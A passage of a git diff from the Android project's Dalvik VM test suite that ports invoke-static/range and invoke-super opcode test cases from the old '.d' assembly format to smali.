+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const-wide v1, 1
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..c69558a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_static_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..3c8d562
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_static_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/T_invoke_static_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/T_invoke_static_range_24.smali
new file mode 100644
index 0000000..a2d9c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/T_invoke_static_range_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24;
+.super Ldot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl;
+.source "T_invoke_static_range_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-static/range {p0 .. p0}, Ldot/junit/opcodes/invoke_static_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.d
deleted file mode 100644
index b3734a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_3.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static/range {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali
new file mode 100644
index 0000000..ba458ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.d
deleted file mode 100644
index c07542cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.d
+++ /dev/null
@@ -1,75 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_4.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private static test(IIIIIIIIII)I
-.limit regs 11
-    const v0, 10
-    if-ne v0, v10, Label0
-    const v0, 9
-    if-ne v0, v9, Label0
-    const v0, 8
-    if-ne v0, v8, Label0
-    const v0, 7
-    if-ne v0, v7, Label0
-    const v0, 6
-    if-ne v0, v6, Label0
-    const v0, 5
-    if-ne v0, v5, Label0
-    const v0, 4
-    if-ne v0, v4, Label0
-    const v0, 3
-    if-ne v0, v3, Label0
-    const v0, 2
-    if-ne v0, v2, Label0
-    const v0, 1
-    if-ne v0, v1, Label0
-
-    const v0, 1
-    return v0
-Label0:
-    const v0, 0
-    return v0
-
-.end method
-
-.method public static run()I
-.limit regs 16
-         const v1, 1
-          const v2, 2
-          const v3, 3
-          const v4, 4
-          const v5, 5
-          const v6, 6
-          const v7, 7
-          const v8, 8
-          const v9, 9
-          const v10, 10
-
-       invoke-static/range {v1..v10}, dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_4/test(IIIIIIIIII)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali
new file mode 100644
index 0000000..d1785b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali
@@ -0,0 +1,75 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_4.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private static test(IIIIIIIIII)I
+.registers 11
+    const v0, 10
+    if-ne v0, v10, :Label0
+    const v0, 9
+    if-ne v0, v9, :Label0
+    const v0, 8
+    if-ne v0, v8, :Label0
+    const v0, 7
+    if-ne v0, v7, :Label0
+    const v0, 6
+    if-ne v0, v6, :Label0
+    const v0, 5
+    if-ne v0, v5, :Label0
+    const v0, 4
+    if-ne v0, v4, :Label0
+    const v0, 3
+    if-ne v0, v3, :Label0
+    const v0, 2
+    if-ne v0, v2, :Label0
+    const v0, 1
+    if-ne v0, v1, :Label0
+
+    const v0, 1
+    return v0
+:Label0
+    const v0, 0
+    return v0
+
+.end method
+
+.method public static run()I
+.registers 16
+         const v1, 1
+          const v2, 2
+          const v3, 3
+          const v4, 4
+          const v5, 5
+          const v6, 6
+          const v7, 7
+          const v8, 8
+          const v9, 9
+          const v10, 10
+
+       invoke-static/range {v1..v10}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4;->test(IIIIIIIIII)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.d
deleted file mode 100644
index 14cbfd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_5.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 5
-       invoke-static/range {v2}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5/test(I)I
-       move-result v0
-       return v0
-.end method
-
-.method public test(I)I
-.limit regs 5
-
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali
new file mode 100644
index 0000000..96e7b7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 5
+       invoke-static/range {v2}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5;->test(I)I
+       move-result v0
+       return v0
+.end method
+
+.method public test(I)I
+.registers 5
+
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.smali
new file mode 100644
index 0000000..4574f24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static native test()V
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.d
deleted file mode 100644
index a7615ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_7.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7/testN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali
new file mode 100644
index 0000000..fbefdfc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7;->testN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.d
deleted file mode 100644
index a494912..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_8.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/TestClass/testPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali
new file mode 100644
index 0000000..dd3ab26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.d
deleted file mode 100644
index 5eaf417..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_super.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali
new file mode 100644
index 0000000..fbe3695
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.smali
new file mode 100644
index 0000000..c52bf55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.smali
@@ -0,0 +1,90 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public testString(Ljava/lang/String;)V
+    .registers 2
+
+    return-void
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.d
deleted file mode 100644
index b74842f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_super.d.TSuper2
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali
new file mode 100644
index 0000000..e8a7f97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.d
deleted file mode 100644
index 829c67f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_1.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_1
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
